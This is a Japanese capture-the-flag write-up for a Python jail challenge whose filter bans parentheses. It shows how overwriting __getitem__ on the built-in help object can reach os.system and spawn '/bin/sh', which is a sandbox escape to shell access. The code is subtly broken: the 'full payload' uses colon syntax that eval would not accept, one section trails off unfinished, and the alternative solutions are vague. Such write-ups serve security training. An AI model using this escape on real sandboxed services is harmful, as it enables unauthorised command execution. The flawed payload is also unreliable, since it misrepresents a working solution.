jailCTF 2025 - impossible
Challenge
入力が厳しくフィルタリングされた pyjail。
import re
code = input()
# 許可: 小文字、コロン、アンダースコア、ドット、角括弧、ダブルクォートif not re.match(r'^[a-z_:\.\[\]"]+$', code): print("Invalid!") exit()
eval(code)括弧 () が使えないため、通常の関数呼び出しができない。
Solution
__getitem__ による関数呼び出し
__getitem__ メソッドに呼び出したい関数を代入し、[] 構文で呼び出す:
# help クラスの __getitem__ を使用help.__class__.__getitem__ = target_functionhelp["argument"] # target_function("argument") と等価license オブジェクトの活用
# license から __import__ を構築license.__class__.__getitem__ = license._Printer__setup.__globals__.__getitem__# ...完全なペイロード
help.__class__.__getitem__:help.__class__.__repr__.__globals__.__getitem__help["__builtins__"].__getitem__["__import__"]["os"].system["/bin/sh"]Technical Details
__getitem__ の仕組み
# obj[key] は内部的にtype(obj).__getitem__(obj, key)# を呼び出す
# クラスの __getitem__ を上書きするとclass Evil: pass
Evil.__getitem__ = printe = Evil()e["hello"] # print(e, "hello") が呼ばれる利用可能なオブジェクト
| オブジェクト | 用途 |
|---|---|
help | _Helper クラス、__globals__ あり |
license | _Printer クラス、ファイル読み込み機能 |
credits | 同上 |
copyright | 同上 |
Alternative Solutions
別解1: __class_getitem__
# 型パラメータ構文を悪用list[some_function]別解2: デコレータ風
# @ は使えないが、メタクラスで同様の効果Flag
jail{...}
References
- jailCTF 2025 Official
- https://medium.com/@yoavsh97/jailctf-2025-impossible-writeup-864af327045f